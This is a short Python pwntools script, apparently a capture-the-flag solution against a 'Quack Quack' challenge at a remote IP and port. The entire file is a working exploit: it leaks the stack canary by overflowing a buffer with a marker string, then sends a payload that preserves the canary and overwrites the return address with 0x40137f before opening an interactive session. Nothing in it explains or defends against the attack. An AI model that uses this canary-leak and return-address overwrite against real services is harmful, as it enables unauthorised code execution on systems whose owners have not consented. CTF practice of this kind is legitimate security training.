from pwn import remote, p64  

NEEDLE = b'Quack Quack '
LEN_NEEDLE = len(NEEDLE)

with remote("83.136.251.145", "32656") as p:
    p.recvuntil(b'> ')
    p.sendline(b'A' * 0x59 + NEEDLE)
    canary = b'\x00' + p.recvuntil(b'> ')[LEN_NEEDLE:LEN_NEEDLE + 7]
    assert(len(canary) == 8)

    exploit_string = (b'A' * 0x58) + canary + p64(0) + p64(0x40137f)

    print(exploit_string)

    p.sendline(exploit_string)

    p.interactive()